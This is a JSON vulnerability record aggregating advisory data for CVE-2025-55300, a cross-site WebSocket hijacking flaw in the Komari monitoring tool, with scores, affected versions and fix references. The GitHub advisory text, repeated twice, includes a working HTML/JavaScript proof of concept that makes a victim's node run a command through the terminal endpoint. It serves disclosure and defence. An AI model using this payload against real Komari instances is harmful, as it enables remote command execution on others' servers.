{"id":"CVE-2025-55300","aliases":["EUVD-2025-25135","GHSA-q355-h244-969h","GO-2025-3874"],"status":"published","title":"Komari Allows Cross-site WebSocket Hijacking","description":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00596,"percentile":0.48946,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1385","CWE-79"],"published":"2025-08-12T00:13:28Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"Go","package":"github.com/komari-monitor/komari","fixed_in":["0.0.0-20250809073044-53171affcaf0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/komari-monitor/komari","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.0-20250809073044-53171affcaf0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/komari-monitor/komari","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20250809073044-53171affcaf0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/komari-monitor/komari","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20250809073044-53171affcaf0"}]}]}],"products":[{"vendor":"komari-monitor","product":"komari"}],"references":[{"url":"https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/komari-monitor/komari/commit/d31d12e59febce100ab0285b93338f09aa5d6cb1","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be","tags":["web","fix"]},{"url":"https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35","tags":["web"]},{"url":"https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q355-h244-969h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55300.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55300","tags":["advisory"]},{"url":"https://github.com/komari-monitor/komari","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-55300","title":"Komari Allows Cross-site WebSocket Hijacking","description":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","status":"published","published":"2025-08-18T17:41:37.372Z","modified":"2025-08-18T17:52:19.481Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:52.839698Z"}],"euvd":[{"id":"EUVD-2025-25135","description":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","status":"published","published":"2025-08-18T17:41:37Z","modified":"2025-08-18T17:52:19Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T20:31:56.298799Z"}],"ghsa":[{"id":"GHSA-q355-h244-969h","title":"Komari vulnerable to Cross-site WebSocket Hijacking","description":"### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `\u003ckomari-addr\u003e` and `\u003ctarget-uuid\u003e` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n\u003cpre\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst socket = new WebSocket(\"wss://\u003ckomari-addr\u003e/api/admin/client/\u003ctarget-uuid\u003e/terminal\");\nsocket.addEventListener(\"open\", (event) =\u003e {\n  const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) =\u003e {\n  event.data.text().then(x =\u003e {document.querySelector(\"pre\").append(x)});\n});\n\u003c/script\u003e\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.","status":"published","published":"2025-08-12T00:13:28Z","modified":"2025-08-12T00:13:29Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T14:38:53.767052Z"}],"nvd":[{"id":"CVE-2025-55300","description":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","status":"published","published":"2025-08-18T18:15:40.25Z","modified":"2026-06-17T09:41:36.737Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:24.730342Z"}],"osv":[{"id":"CVE-2025-55300","title":"Komari Allows Cross-site WebSocket Hijacking","description":"Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.","status":"published","published":"2025-08-18T17:41:37.372Z","modified":"2026-10-28T02:30:38.183289587Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-q355-h244-969h","title":"Komari vulnerable to Cross-site WebSocket Hijacking","description":"### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `\u003ckomari-addr\u003e` and `\u003ctarget-uuid\u003e` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n\u003cpre\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst socket = new WebSocket(\"wss://\u003ckomari-addr\u003e/api/admin/client/\u003ctarget-uuid\u003e/terminal\");\nsocket.addEventListener(\"open\", (event) =\u003e {\n  const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) =\u003e {\n  event.data.text().then(x =\u003e {document.querySelector(\"pre\").append(x)});\n});\n\u003c/script\u003e\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.","status":"published","published":"2025-08-12T00:13:28Z","modified":"2025-08-19T04:59:36.107083Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1385"],"updated_at":"2026-11-02T15:46:54.055966Z"},{"id":"GO-2025-3874","title":"Komari vulnerable to Cross-site WebSocket Hijacking in github.com/komari-monitor/komari","description":"Komari vulnerable to Cross-site WebSocket Hijacking in github.com/komari-monitor/komari","status":"published","published":"2025-08-18T13:17:23Z","modified":"2026-03-03T04:56:48.901012Z","updated_at":"2026-11-02T15:47:01.728182Z"}]}}